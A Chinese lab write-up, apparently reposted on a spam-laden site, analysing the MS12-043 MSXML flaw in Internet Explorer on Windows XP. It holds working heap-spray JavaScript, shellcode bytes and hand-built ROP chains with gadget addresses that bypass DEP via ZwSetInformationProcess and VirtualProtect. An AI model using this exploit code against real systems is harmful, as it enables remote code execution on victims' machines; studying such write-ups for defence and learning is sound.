最美情侣中文字幕电影,在线麻豆精品传媒,在线网站高清黄,久久黄色视频

歡迎光臨散文網(wǎng) 會員登陸 & 注冊

MS12-043是個啥?走,咱來波漏洞分析!

2022-05-10 17:29 作者:rkvir逆向工程學院  | 我要投稿

MS12-043漏洞分析+手寫ROP全流程

這是個練習寫ROP的好例子

漏洞介紹

軟件簡介

Microsoft XML Core Services (MSXML)是一組服務(wù),可用JScript、VBScript、Microsoft開發(fā)工具編寫的應(yīng)用構(gòu)建基于XML的Windows-native應(yīng)用。

漏洞成因

Microsoft XML Core Services 3.0、4.0、5.0和6.0版本中存在漏洞,該漏洞源于訪問未初始化內(nèi)存位置。遠程攻擊者可利用該漏洞借助特制的web站點,執(zhí)行任意代碼或?qū)е戮芙^服務(wù)(內(nèi)存破壞)。

該漏洞產(chǎn)生于msxml3.dll模塊中,msxml3.dll是微軟的一個SAX2 幫助程序類。主要用途包括:XSL 轉(zhuǎn)換 (XSLT) 和 XML 路徑語言 (XPath) 的完全實現(xiàn)、對 XML (SAX2) 實現(xiàn)的簡單 API 的修改,包括與萬維網(wǎng)聯(lián)合會 (W3C) 標準和 OASIS 測試套件保持更高一致性。

實驗環(huán)境

?????????? 虛擬機:Windows XP SP3

?????????? 虛擬機:Kali Linux

?????????? 漏洞程序:IE6 + IE8

?????????? IDA + x86dbg + immdbg mona插件

漏洞復(fù)現(xiàn)

kali的msf里查找MS12-043,看有沒有現(xiàn)成的利用:

剛好有一個,設(shè)置payload:set payload windows/exec,set CMD calc.exe,run

啟動了一個本地HTTP Server,這個服務(wù)器應(yīng)該就是提供poc頁面了:

使用Windows XP SP3自帶的IE6打開,直接彈出計算器:

復(fù)現(xiàn)成功,該環(huán)境的IE6存在該漏洞,接下來對漏洞樣本進行分析

前置基礎(chǔ)知識簡介

ROP

面向返回編程ROP(Return-oriented programming):這是一種內(nèi)存攻擊技術(shù)可以用來繞過現(xiàn)代操作系統(tǒng)的各種通用防御(比如內(nèi)存不可執(zhí)行等)。ROP的核心思想就是利用以ret結(jié)尾的指令序列把棧中的應(yīng)該返回EIP的地址更改成我們需要的值,從而控制程序的執(zhí)行流程。

DEP

數(shù)據(jù)執(zhí)行保護DEP(Data Execution Protection):用來彌補計算機對數(shù)據(jù)和代碼混淆這一缺陷,主要作用是阻止數(shù)據(jù)頁(堆頁,各種堆棧頁,內(nèi)存池頁)執(zhí)行代碼,從Windows XP SP2開始支持

DEP的基本原理是將數(shù)據(jù)所在內(nèi)存頁表示為不可執(zhí)行頁,當程序溢出轉(zhuǎn)入shellcode時,CPU在數(shù)據(jù)頁上執(zhí)行指令拋出異常,轉(zhuǎn)入異常處理而不進入shellcode執(zhí)行,當跳轉(zhuǎn)到不可執(zhí)行區(qū)域時,會觸發(fā)異常0xC0000005(內(nèi)存頁就類似于這種權(quán)限PAGE_READWRITE)

HeapSpray

HeapSpray 是一種輔助技術(shù),在shellcode前面加上大量滑板指令,組成一個注入代碼段。然后向系統(tǒng)申請大量內(nèi)存,并且反復(fù)用注入代碼段來填充。這樣就使得進程的地址空間被大量的注入代碼所占據(jù)。然后結(jié)合其他的漏洞攻擊技術(shù)控制程序流,使得程序執(zhí)行到堆上,最終將導(dǎo)致shellcode的執(zhí)行。

漏洞分析

漏洞觸發(fā)POC:

通過看POC代碼可知,這里漏洞的觸發(fā)是因為解析img標簽src屬性處理src的值的時候處理不當導(dǎo)致溢出從而產(chǎn)生漏洞

反匯編里往上追溯溢出值的來源,沒太明白是怎么回事

具體參考 [原創(chuàng)] CVE-2012-1889 暴雷漏洞詳細分析(偏向成因)-二進制漏洞-看雪論壇-安全社區(qū)|安全招聘|bbs.pediy.com

感覺現(xiàn)階段還不足以弄明白是怎么一回事,本次主要就當練習寫rop了

保存poc為html文件,通過實驗環(huán)境的IE6打開,程序奔潰,x86dbg接管調(diào)試:

在程序異常處發(fā)現(xiàn)這里eax的值已經(jīng)被我們輸入的值給覆蓋了,也就是說,eax的值可控,來自于棧中,并且之后會從eax里取出地址,然后賦值給ecx,然后call [ecx+0x18],拿到控制權(quán)

為了方便測試,在物理機編輯HTML,開啟一個http服務(wù)器給虛擬機訪問:

python -m http.server 8080

這里的一個思路就是通過堆噴覆蓋高位地址0x0c0c0c0c,然后觸發(fā)漏洞,構(gòu)造內(nèi)容使得能通過下面那個call得到控制權(quán),這里使用上次分析CVE-2010-2883時候見到的堆噴代碼,改一改shellcode:

var shellcode = unescape('%u0c0c%u0c0c'+??? // mov ecx, [eax]
??????????????????????? '%u4141%u4141'+
??????????????????????? '%u4141%u4141'+
??????????????????????? '%u4141%u4141'+
??????????????????????? '%u4141%u4141'+
??????????????????????? '%u4141%u4141'+
???????????????????? ???'%uaaaa%uaaaa'????? // [ecx+0x18]
??????????????????????? );
var var_C = unescape( "%" + "u" + "0" + "c" + "0" + "c" + "%u" + "0" + "c" + "0" + "c" );
while (var_C.length + 20 + 8 < 65536) var_C+=var_C;?
var_D = var_C.substring(0, (0x0c0c-0x24)/2);
var_D += shellcode; // 拼接shellcode
var_D += var_C;???? // 拼接滑塊代碼
var_E = var_D.substring(0, 65536/2);
while(var_E.length < 0x80000) var_E += var_E;
var_H = var_E.substring(0, 0x80000 - (0x1020-0x08) / 2); // 7F7F4
var var_F = new Array();
for (var_G=0;var_G<0x1f0;var_G++) var_F[var_G]=var_H+"s";

這個代碼就是申請將近1M大小的數(shù)組成員的數(shù)組,通過堆噴將shellcode精準填充到0x0c0c0c0c位置上,訪問鏈接測試:

可以看到,0x0c0c0c0c已經(jīng)覆蓋了我們編寫的shellcode,這里call會跳轉(zhuǎn)到0xAAAAAAAA這個地址上:

到此已經(jīng)成功拿到控制權(quán)了,只要合理構(gòu)造shellcode即可完成利用,接下來進行ROP的構(gòu)造

漏洞利用:XP+IE6

ROP的意義在于繞過保護執(zhí)行shellcode,Windows XP + IE 6環(huán)境下默認沒有DEP保護,所以可以直接去堆中執(zhí)行代碼

這里需要使用js寫shellcode,這里去網(wǎng)上(參考資料[4])白嫖了一個shellcodeC語言轉(zhuǎn)JS語言的代碼:

int main(int argc,char* argv[])
{
???
??? //mergeSort(a, 0, 5);

??? unsigned char buf[] = {
??????????? "\xFC\x68\x6A\x0A\x38\x1E\x68\x63\x89\xD1\x4F\x68\x32\x74\x91\x0C"
??????????? "\x8B\xF4\x8D\x7E\xF4\x33\xDB\xB7\x04\x2B\xE3\x66\xBB\x33\x32\x53"
??????????? "\x68\x75\x73\x65\x72\x54\x33\xD2\x64\x8B\x5A\x30\x8B\x4B\x0C\x8B"
??????????? "\x49\x1C\x8B\x09\x8B\x69\x08\xAD\x3D\x6A\x0A\x38\x1E\x75\x05\x95"
??????????? "\xFF\x57\xF8\x95\x60\x8B\x45\x3C\x8B\x4C\x05\x78\x03\xCD\x8B\x59"
??????????? "\x20\x03\xDD\x33\xFF\x47\x8B\x34\xBB\x03\xF5\x99\x0F\xBE\x06\x3A"
??????????? "\xC4\x74\x08\xC1\xCA\x07\x03\xD0\x46\xEB\xF1\x3B\x54\x24\x1C\x75"
??????????? "\xE4\x8B\x59\x24\x03\xDD\x66\x8B\x3C\x7B\x8B\x59\x1C\x03\xDD\x03"
??????????? "\x2C\xBB\x95\x5F\xAB\x57\x61\x3D\x6A\x0A\x38\x1E\x75\xA9\x33\xDB"
??????????? "\x53\x68\x77\x65\x73\x74\x68\x66\x61\x69\x6C\x8B\xC4\x53\x50\x50"
??????????? "\x53\xFF\x57\xFC\x53\xFF\x57\xF8" };

??????? int i = 0;
??????? int n = sizeof(buf) - 1;
??????? if (n & 1) n--;
??????? FILE* fp = fopen("shellocde.txt", "w");
??????? for (i = 0; i < n; i += 2)
??????? {
??????????? fprintf(fp, "\\u%02X%02X", buf[i + 1], buf[i]);
??????? }
??????? n = sizeof(buf) - 1;
??????? if (n & 1)
??????? {
??????????? fprintf(fp, "\\u%02X%02X", 0, buf[i]);
??????? }
??????? fclose(fp);

??? return 0;
}

這里自帶的shellcode是0day里面那個failwest的MessageBox,這里也就用這個吧

構(gòu)造shellcode:

var shellcode = unescape('%u0bf8%u0c0c'+??? // mov ecx, [eax] 0x0c0c0bf8
??????????????????????? '%u0c14%u0c0c'????? // [ecx+0x18]
??????????????????????? );
shellcode+="\u68FC\u0A6A\u1E38\u6368\uD189\u684F\u7432\u0C91\uF48B\u7E8D\u33F4\uB7DB\u2B04\u66E3\u33BB\u5332\u7568\u6573\u5472\uD233\u8B64\u305A\u4B8B\u8B0C\u1C49\u098B\u698B\uAD08\u6A3D\u380A\u751E\u9505\u57FF\u95F8\u8B60\u3C45\u4C8B\u7805\uCD03\u598B\u0320\u33DD\u47FF\u348B\u03BB\u99F5\uBE0F\u3A06\u74C4\uC108\u07CA\uD003\uEB46\u3BF1\u2454\u751C\u8BE4\u2459\uDD03\u8B66\u7B3C\u598B\u031C\u03DD\uBB2C\u5F95\u57AB\u3D61\u0A6A\u1E38\uA975\uDB33\u6853\u6577\u7473\u6668\u6961\u8B6C\u53C4\u5050\uFF53\uFC57\uFF53\uF857";???????????????????????

測試:

shellcode成功執(zhí)行,完成利用

漏洞利用:XP+IE8(1)

本節(jié)內(nèi)容采用ZwSetInformationProcess的方法繞過DEP,寫完ROP之后發(fā)現(xiàn)還是運行不了,經(jīng)過搜索得知,IE8調(diào)用過該API,該API只有第一次調(diào)用有效,所以本節(jié)純屬踩坑,可跳過本節(jié)“繞過DEP部分”看下一節(jié)用其他方法繞過DEP

Windows XP + IE8 開啟了DEP,且堆堆噴做出了限制,直接用字符串賦值的方式會被禁止,js代碼會執(zhí)行失敗,再次訪問這個poc地址,異常后調(diào)試會發(fā)現(xiàn)0x0c0c0c0c這個地址沒有申請出來,不存在

所以需要修改堆噴的代碼,將原來的:

for (var_G=0;var_G<0x1f0;var_G++) var_F[var_G]=var_H+"s";

修改為:

for (var_G=0;var_G<0x1f0;var_G++) var_F[var_G]=var_H.substr(0,var_H.length)+"s";

再次訪問剛剛的poc地址:

觸發(fā)DEP數(shù)據(jù)執(zhí)行保護,點擊調(diào)試進去:

EIP寄存器指向了我們的彈窗shellcode,且此處發(fā)生0xC00000005執(zhí)行訪問違例的異常,這也說明了是DEP的影響,導(dǎo)致這里無法執(zhí)行

所以需要想個辦法來繞過DEP保護來執(zhí)行shellcode,根據(jù)之前學習DEP的經(jīng)驗,可以通過跳轉(zhuǎn)到ZwSetInformationProcess函數(shù)將進程的DEP關(guān)閉后再轉(zhuǎn)入shellcode執(zhí)行

一個進程的DEP設(shè)置的標識保存在_KEPROCESS中的_KEXECUTE_OPTIONS上,可通過ZwSetInformationProcess進行修改,該結(jié)構(gòu)體聲明:

//0x1 bytes (sizeof)
struct _KEXECUTE_OPTIONS
{
??? UCHAR ExecuteDisable:1;???????? //0x0 DEP開啟時,設(shè)置為1
??? UCHAR ExecuteEnable:1;????????? //0x0 DEP關(guān)閉時,設(shè)置為1
??? UCHAR DisableThunkEmulation:1;? //0x0 兼容ATL程序用的
??? UCHAR Permanent:1;????????????? //0x0 設(shè)置1后,這些標志不能再修改
??? UCHAR ExecuteDispatchEnable:1;? //0x0
??? UCHAR ImageDispatchEnable:1;??? //0x0
??? UCHAR Spare:2;????????????????? //0x0
};

影響DEP的是前兩位,只要設(shè)置該結(jié)構(gòu)體的值為0x02即可關(guān)閉DEP

設(shè)置函數(shù)ZwSetInformationProcess:

NTSYSCALLAPI
NTSTATUS NTAPI ZwSetInformationProcess? (??
??? _In_ HANDLE???? ProcessHandle,? // 進程句柄,設(shè)置為-1時表示當前進程
??? _In_ PROCESSINFOCLASS?? ProcessInformationClass,??? // 信息類
??? _In_ PVOID? ProcessInformation,???????? // 設(shè)置_KEXECUTE_OPTIONS
??? _In_ ULONG? ProcessInformationLength??? // 第三個參數(shù)的長度
)??

根據(jù)參考資料[6],可知,關(guān)閉DEP需要的參數(shù)依次是:-1,0x22,0x2,0x4

當一個進程的Permanent位沒有設(shè)置,加載DLL時,會對DLL進行DEP兼容性檢查,如果存在兼容性問題則會關(guān)閉DEP,有一個函數(shù)LdrpCheckNXCompatibility內(nèi)部進行兼容性判斷,判斷兼容性有問題,就會調(diào)用ZwSetInformationProcess函數(shù):(使用windbg查看該程序)

0:000> uf ntdll!LdrpCheckNXCompatibility
ntdll!LdrpCheckNXCompatibility:
7c93cd11 8bff??????????? mov???? edi,edi
7c93cd13 55????????????? push??? ebp
7c93cd14 8bec??????????? mov???? ebp,esp
7c93cd16 51????????????? push??? ecx
7c93cd17 8365fc00??????? and???? dword ptr [ebp-4],0
7c93cd1b 56????????????? push??? esi
7c93cd1c ff7508????????? push??? dword ptr [ebp+8]
7c93cd1f e887ffffff????? call??? ntdll!LdrpCheckSafeDiscDll (7c93ccab);檢查是否是SafeDiskDll
7c93cd24 3c01??????????? cmp???? al,1?? ; al和1對比,如果檢查成功,al會返回1,所以這里要設(shè)置為1
7c93cd26 6a02??????????? push??? 2?????
7c93cd28 5e????????????? pop???? esi??? ; 給esi設(shè)置為2
7c93cd29 0f84df290200??? je????? ntdll!LdrpCheckNXCompatibility+0x1a (7c95f70e) ; 跳轉(zhuǎn)(見末尾)
?
ntdll!LdrpCheckNXCompatibility+0x1d:
7c93cd2f 837dfc00??????? cmp???? dword ptr [ebp-4],0??? ; ebp-4和0對比,判斷ebp-4是不是2,如果是2,就會跳轉(zhuǎn)到DEP關(guān)閉的流程
7c93cd33 0f85f89a0100??? jne???? ntdll!LdrpCheckNXCompatibility+0x4d (7c956831); 不相同則跳轉(zhuǎn),這里會跳轉(zhuǎn)(見下面)
?
...
?
ntdll!LdrpCheckNXCompatibility+0x5c:
7c93cd6d 5e????? ????????pop???? esi???
7c93cd6e c9????????????? leave
7c93cd6f c20400????????? ret???? 4????? ; 返回 ret 4
?
ntdll!LdrpCheckNXCompatibility+0x4d:
7c956831 6a04??????????? push??? 4????? ; 4
7c956833 8d45fc????????? lea???? eax,[ebp-4]
7c956836 50?????????? ???push??? eax??? ; 2
7c956837 6a22??????????? push??? 22h??? ; 0x22
7c956839 6aff??????????? push??? 0FFFFFFFFh ; -1
7c95683b e84074fdff????? call??? ntdll!ZwSetInformationProcess (7c92dc80);剛好是關(guān)閉DEP的參數(shù),跳轉(zhuǎn)到這里把DEP關(guān)閉了
7c956840 e92865feff????? jmp???? ntdll!LdrpCheckNXCompatibility+0x5c (7c93cd6d); 往回跳轉(zhuǎn)(見上面)
?
ntdll!LdrpCheckNXCompatibility+0x1a:
7c95f70e 8975fc????????? mov???? dword ptr [ebp-4],esi? ; 把esi賦值給[ebp-4]
7c95f711 e919d6fdff????? jmp???? ntdll!LdrpCheckNXCompatibility+0x1d (7c93cd2f); 跳轉(zhuǎn)回去

這里可以直接跳轉(zhuǎn)到這個判斷處(0x7c93cd24),提前把al設(shè)置成1,走al=1的邏輯,這就是關(guān)閉DEP的流程

現(xiàn)在要做的事情流程已經(jīng)很清楚了,就是:

1.??????? 切換ebp到0x0c0c0c0c,控制堆棧

2.??????? 給al賦值為1

3.??????? 跳轉(zhuǎn)到0x7c93cd24處關(guān)閉DEP

4.??????? 跳轉(zhuǎn)到shellcode執(zhí)行

使用msf自帶的工具msfpescan協(xié)助找跳板

踩坑

這里IE8打開鏈接的時候會創(chuàng)建子進程,然而每次加載msxml3.dll的基址還不一樣,導(dǎo)致這里調(diào)試出現(xiàn)了困難,這里需要找一個其他基址不變的模塊來尋找跳板

這里由于創(chuàng)建了子進程,直接觸發(fā)崩潰實時調(diào)試器接管不到崩潰前的狀態(tài),所以沒法從斷點一點一點往下看執(zhí)行和棧,使用x86dbg插件dbgchild也沒法在進入rop之前斷下來

這里的解決方案是,直接就讓他進入后面的異常處理部分,然后修改EIP指針回到漏洞的觸發(fā)點來跟進shellcode的編寫:

因為進入rop之后,包括堆棧和寄存器都是我們自己構(gòu)造的,所以這里直接修改eip為觸發(fā)漏洞前的地址,和eax=0x0c0c0c0c,這兩個值都是觸發(fā)漏洞的時候必然等于的,這樣來進行調(diào)試是沒問題的

或者可以把IE8卸載了,裝回IE6,再上面寫完繞過DEP的ROP再裝回IE8測試,這里采用的是先用IE6來寫

構(gòu)造ROP-拿到控制權(quán)

首先需要修改棧頂esp到我們構(gòu)造的內(nèi)存里頭

想找一個pop xxx;pop esp;ret的指令,找了半天沒找到

找到了pop esp;ret指令,但是call過去會有返回地址入棧,也沒法修復(fù)esp

經(jīng)過一個下午的搜索嘗試,發(fā)現(xiàn)還有這個指令可用:xchg eax,esp;ret,可以把eax里的0x0c0c0c0c交換給esp,然而還是不行,因為交換過去之后,esp里存放的一定不是能操作的返回地址

mona搜索xchg eax,esp;ret:

Log data, item 21
?Address=75C7BC70
?Message=? 0x75c7bc70 : "\x94\xc3" |? {PAGE_EXECUTE_READ} [urlmon.dll] ASLR: False, Rebase: False, SafeSEH: True, OS: True, v6.00.2900.5512 (C:\WINDOWS\system32\urlmon.dll)

再次觀察一下這段代碼:

整理一下當前的信息:

1.??????? shellcode中可控內(nèi)容從0x0c0c0c0c開始,且0x0c0c0c0c之前的內(nèi)存的值均為0x0c0c0c0c

2.??????? eax的值是我們可以操縱的

3.??????? esi的值來自eax

4.??????? ecx的值來自[eax]

5.??????? 第一個call使用的是[ecx+0x18]的值,也就是說[[eax]+0x18]這個地址是第一個call的地址,此時交換esp會導(dǎo)致無法跳轉(zhuǎn)卡住,直接使用ret可以跳過

6.??????? 第一個call之后會賦值eax = [esi],如果[esi]和esi不相同的話,[esi]是一個保存指令的地址,那么xchg之后ret就可以使用了

7.??????? 第二個call使用的是[eax+8]

綜上,可以得出,給eax填充0x0c0c0c08,該地址的值為0x0c0c0c0c,不會影響第一個call所在的0x0c0c0c24,然后在第一個call之后,會給eax賦值0x0c0c0c0c,相比第一個call直接使用xchg,0x0c0c0c0c的值是可修改的了,因為使用了0x0c0c0c08來作為基址計算第一個call的地址,這時再進行xchg就可以拿到控制流了

構(gòu)造shellcode:

var shellcode = "\u4141\u4242"+ // esp
??????????????? "\u9090\u9090"+ //
??????????????? "\ubc70\u75c7"+ // call [ecx+0x18] ret
??????????????? "\u9090\u9090\u9090\u9090\u9090\u9090"+?? // fill
??????????????? "\ubc71\u75c7"? // xchg eax,esp;ret
??????????????? ;

測試:

此時esp已經(jīng)是可控的了,接下來就方便構(gòu)造返回地址了

構(gòu)造ROP繞過DEP

接下來需要給al賦值1,mov al,1;ret,使用immdbg的mona插件進行搜索:

>!mona find -s "\xB0\x01\xc3" -m "kernel32.dll"
...
Log data, item 14
?Address=7C80C190
?Message=? 0x7c80c190 : "\xB0\x01\xc3" |? {PAGE_EXECUTE_READ} [kernel32.dll] ASLR: False, Rebase: False, SafeSEH: True, OS: True, v5.1.2600.5512 (C:\WINDOWS\system32\kernel32.dll)

然后接下來就是跳轉(zhuǎn)去0x7c93cd24關(guān)閉DEP了:

構(gòu)造shellcode:

var shellcode = "\uc190\u7c80"+ // mov al,1 ret
??????????????? "\ucd24\u7c93"+ // Close DEP 0x7c93cd24
??????????????? "\ubc70\u75c7"+ // call [ecx+0x18] ret
??????????????? "\u9090\u9090\u9090\u9090\u9090\u9090"+
??????????????? "\ubc71\u75c7"? // xchg eax,esp;ret
??????????????? ;???????????????????????

測試調(diào)試:

不行,出問題了,這里leave指令會把ebp給esp,這里還需要先修復(fù)一下ebp才行

找一個push esp; pop ebp; ret指令

Log data, item 19
?Address=75CC97D8
?Message=? 0x75cc97d8 : "\x54\x5d\xc2" |? {PAGE_EXECUTE_READ} [urlmon.dll] ASLR: False, Rebase: False, SafeSEH: True, OS: True, v6.00.2900.5512 (C:\WINDOWS\system32\urlmon.dll)
?
?Log data, item 3
?Address=76FE67B0
?Message=? 0x76fe67b0 : "\x54\x5d\xc2\x08" |? {PAGE_EXECUTE_READ} [CLBCATQ.DLL] ASLR: False, Rebase: False, SafeSEH: True, OS: True, v2001.12.4414.700 (C:\WINDOWS\system32\CLBCATQ.DLL)

修復(fù)完ebp,然后給al賦值1,關(guān)閉DEP,構(gòu)造shellcode:

var shellcode = "\u97d8\u75cc"+ // repire ebp push esp pop ebp ret 4 0x75CC97D8
??????????????? "\uc190\u7c80"+ // mov al,1 ret
??????????????? "\ubc70\u75c7"+ // call [ecx+0x18] ret
??????????????? "\ucd24\u7c93"+ // CLOSE DEP
??????????????? "\u9090\u9090"+
??????? ????????"\u9090\u9090"+
??????????????? "\ubc71\u75c7"? // xchg eax,esp;ret
??????????????? ;???????????????????????

調(diào)試:


可見,調(diào)用完成之后,esp位置原有內(nèi)容被覆蓋了,到這里又卡住了,這里ebp在esp上面,導(dǎo)致最后交換ebp和esp的時候,esp的位置靠上,而非靠下,靠下的地址我們好控制,靠上的0x0c0c0c14是沒法再控制的,所以需要給ebp一個合適的可控的位置,從而能控制返回地址:

pop ebp,ret:

Log data, item 22
?Address=75C61CD6
?Message=? 0x75c61cd6 : "\x5d\xc3" |? {PAGE_EXECUTE_READ} [urlmon.dll] ASLR: False, Rebase: False, SafeSEH: True, OS: True, v6.00.2900.5512 (C:\WINDOWS\system32\urlmon.dll)

這里給ebp一個緊挨著ROP的地方,shellcode構(gòu)造:

var shellcode = "\u67b0\u76fe"+ // repire ebp push esp pop ebp ret 8 0x76fe67b0
??????????????? "\uc190\u7c80"+ // mov al,1 ret
??????????????? "\ubc70\u75c7"+ // xchg esp, eax ret
??????????????? "\u9090\u9090"+
??????????????? "\u1cd6\u75c6"+ // pop ebp ret 0x75C61CD6
??????????????? "\u0c28\u0c0c"+ // ebp value
??????????????? "\ubc71\u75c7"+ // call [ecx+0x18] ret
??????????????? "\ucd24\u7c93"+ // CLOSE DEP
??????????????? "\u0c30\u0c0c"? // shellcode address
??????????????? ;???????????????????? ???

這里給ebp的地址就是這個地址就是ebp下面一點的位置:


然后接下來跳轉(zhuǎn)到ret里:

接下來緊接著就是關(guān)掉DEP的跳轉(zhuǎn),執(zhí)行到最后:esp的位置會是ebp+4的地方,也就是0x0c0c0c2C:

往這里填寫shellcode的地址就可以直接跳轉(zhuǎn)去執(zhí)行了,go:

IE6成功通過修改DEP的ROP彈窗,接下來換IE8

IE6的利用移植IE8

更新了IE8之后發(fā)現(xiàn)還是不能運行,點開調(diào)試發(fā)現(xiàn)有些IE6上的地址在IE8上不能用

注意:找滑板指令一定要找系統(tǒng)自帶的那種,軟件的dll可能會更新,然后地址就變了

接下來搜索相應(yīng)的功能指令地址替換回去即可

替換xchg esp,eax;ret為kernel32.dll中的地址

Log data, item 18
?Address=7C830E49
?Message=? 0x7c830e49 : "\x94\xc3" |? {PAGE_EXECUTE_READ} [kernel32.dll] ASLR: False, Rebase: False, SafeSEH: True, OS: True, v5.1.2600.5512 (C:\WINDOWS\system32\kernel32.dll)

替換pop ebp;ret:

Log data, item 5
?Address=77BEBB7C
?Message=? 0x77bebb7c : "\x5d\xc3" |? {PAGE_EXECUTE_READ} [msvcrt.dll] ASLR: False, Rebase: False, SafeSEH: True, OS: True, v7.0.2600.5512 (C:\WINDOWS\system32\msvcrt.dll)

結(jié)論

失敗了,經(jīng)過一番搜索(參考資料[8])得知,這個函數(shù)只有第一次調(diào)用的時候有效,IE8調(diào)用過這個函數(shù),所以這個函數(shù)再次調(diào)用就無效了,所以用這種方法繞過IE8的DEP失敗,接下來使用下一種方法繞DEP

今天就到這里(從早上10點肝到晚上10點告訴我就這???),明天繼續(xù),明天看我半天肝出來!

漏洞利用:WindowsXP+IE8(2)

下一個繞過DEP的方法:使用VirtualProtect繞過DEP

函數(shù)聲明:

BOOL VirtualProtect(
? [in]? LPVOID lpAddress,?????? // 地址
? [in]? SIZE_T dwSize,????????? // 大小
? [in]? DWORD? flNewProtect,??? // 保護屬性,可執(zhí)行是0x40
? [out] PDWORD lpflOldProtect?? // 保存舊的保護屬性,需要一個可寫的地址即可
);

使用windbg查看:

0:000> uf VirtualProtect
kernel32!VirtualProtect:
7c801ad4 8bff??????????? mov???? edi,edi
7c801ad6 55????????????? push??? ebp
7c801ad7 8bec??????????? mov???? ebp,esp
7c801ad9 ff7514????????? push??? dword ptr [ebp+14h]??? ;舊的屬性
7c801adc ff7510????????? push??? dword ptr [ebp+10h]??? ;修改屬性
7c801adf ff750c????????? push??? dword ptr [ebp+0Ch]??? ;修改大小
7c801ae2 ff7508????????? push??? dword ptr [ebp+8]????? ;修改地址
7c801ae5 6aff??????????? push??? 0FFFFFFFFh???? ;當前進程
7c801ae7 e875ffffff????? call??? kernel32!VirtualProtectEx (7c801a61)
7c801aec 5d????????????? pop???? ebp
7c801aed c21000????????? ret???? 10h

只需要在棧里準備好參數(shù)之后跳轉(zhuǎn)到0x7c801ad9進行調(diào)用即可

剛剛拿到控制流的shellcode:

var shellcode = "\u4141\u4242"+ // esp
??????????????? "\u9090\u9090"+
??????????????? "\ubc70\u75c7"+ // call [ecx+0x18] ret
??????????????? "\u9090\u9090"+
??????????????? "\u9090\u9090"+
??????????????? "\u9090\u9090"+?? // fill
??????????????? "\ubc71\u75c7"? // xchg eax,esp;ret
??????????????? ;

接下來要做的事情:

1.??????? 把esp放到安全的地方

2.??????? 修復(fù)ebp

3.??????? 調(diào)用函數(shù)

4.??????? 跳轉(zhuǎn)至shellcode執(zhí)行

還是拿剛剛找到的跳板:

地址

指令

0x77BEBB7C

pop ebp ret

0x770F17A3

ret 8

0x7c830e49

xchg esp, eax

構(gòu)造shellcode如下:

var shellcode = "\u17a3\u770f"+ // ret 8 770F17A3
??????????????? "\ubb7c\u77be"+ // pop ebp ret 0x77BEBB7C
??????????????? "\u0e49\u7c83"+ // xchg eax,esp;ret 0x7C830E4a
??????????????? "\u9090\u9090"+
??????????????? "\u0c20\u0c0c"+?? // ebp value
??????????????? "\u1ad9\u7c80"+ // VirtualProtect 0x7c801ad9
??????????????? "\u0e4a\u7c83"+ // call [ecx+0x18] ret 0x7C830E49
??????????? //? "\u9090\u9090"+ // 異常斷程序用的,和上面那一行互換即可
??????????????? "\u0c38\u0c0c"+ // Param address
??????????????? "\u1000\u0000"+ // Param Size
??????????????? "\u0040\u0000"+ // Param Protect 0x40
??????????????? "\u0c0c\u0c00"? // Old Protect???????????????
;

首先一個ret 8,跳轉(zhuǎn)到pop ebp ret的同時在棧中跳過xchg esp,ear ret指令的地址

彈出為ebp構(gòu)造的值,該值位置保存有VirtualProtect需要的參數(shù):

這里參數(shù)里的最后一個入棧的就是shellcode首地址了

執(zhí)行完成之后

直接跳轉(zhuǎn)到shellcode里進行執(zhí)行,一氣呵成,效果展示:

完整利用代碼:



參考資料

?????????? [1] [原創(chuàng)][分享]CVE-2012-1889(暴雷)漏洞分析報告-二進制漏洞-看雪論壇-安全社區(qū)|安全招聘|bbs.pediy.com(https://bbs.pediy.com/thread-263702.htm)

?????????? [2]?Internet Explorer(CVE-2012-1889)暴雷漏洞分析報告【W(wǎng)inXP&IE6版】_capnik的博客-CSDN博客

(https://blog.csdn.net/capnik/article/details/58614449)

?????????? [3]?【新提醒】暴雷漏洞 (CVE-2012-1889)個人漏洞分析報告 - 『軟件調(diào)試區(qū)』 - 吾愛破解 - LCG - LSG |安卓破解|病毒分析|www.52pojie.cn(https://www.52pojie.cn/thread-730324-1-1.html)

?????????? [4]?ShellCode轉(zhuǎn)換為JavaScript支持的形式代碼_蛋蛋的憂桑Y的博客-CSDN博客(https://blog.csdn.net/qq_22000459/article/details/75602013)

????????? [5]?CVE-2012-1889(暴雷)漏洞分析_余大頭的博客-CSDN博客(https://blog.csdn.net/datouyu0824/article/details/115040689)

?????????? [6]?《0day安全》第二版.DEP保護機制相關(guān)內(nèi)容

????????? [7]?msfpescan用法_whatday的博客-CSDN博客(https://blog.csdn.net/whatday/article/details/82909485)

????????? [8] [求助]zwsetinformationprocess 關(guān)閉DEP失敗-二進制漏洞-看雪論壇-安全社區(qū)|安全招聘|bbs.pediy.com(https://bbs.pediy.com/thread-183175.htm)

????????? [9] [原創(chuàng)][分享] CVE-2012-1889 暴雷漏洞詳細分析(偏向成因)-軟件逆向-看雪論壇-安全社區(qū)|安全招聘|bbs.pediy.com(https://bbs.pediy.com/thread-263717.htm)


MS12-043是個啥?走,咱來波漏洞分析!的評論 (共 條)

分享到微博請遵守國家法律
太仓市| 淳安县| 天水市| 昌宁县| 长治县| 博兴县| 桂林市| 蒙自县| 兴安盟| 新营市| 阿克陶县| 东港市| 广丰县| 顺昌县| 鹤岗市| 陵水| 上犹县| 廉江市| 临桂县| 南皮县| 辉县市| 周至县| 邵东县| 无极县| 新野县| 海兴县| 天台县| 临海市| 浮梁县| 巴青县| 余江县| 沛县| 泊头市| 潜江市| 景宁| 资阳市| 菏泽市| 肇庆市| 平南县| 盖州市| 长子县|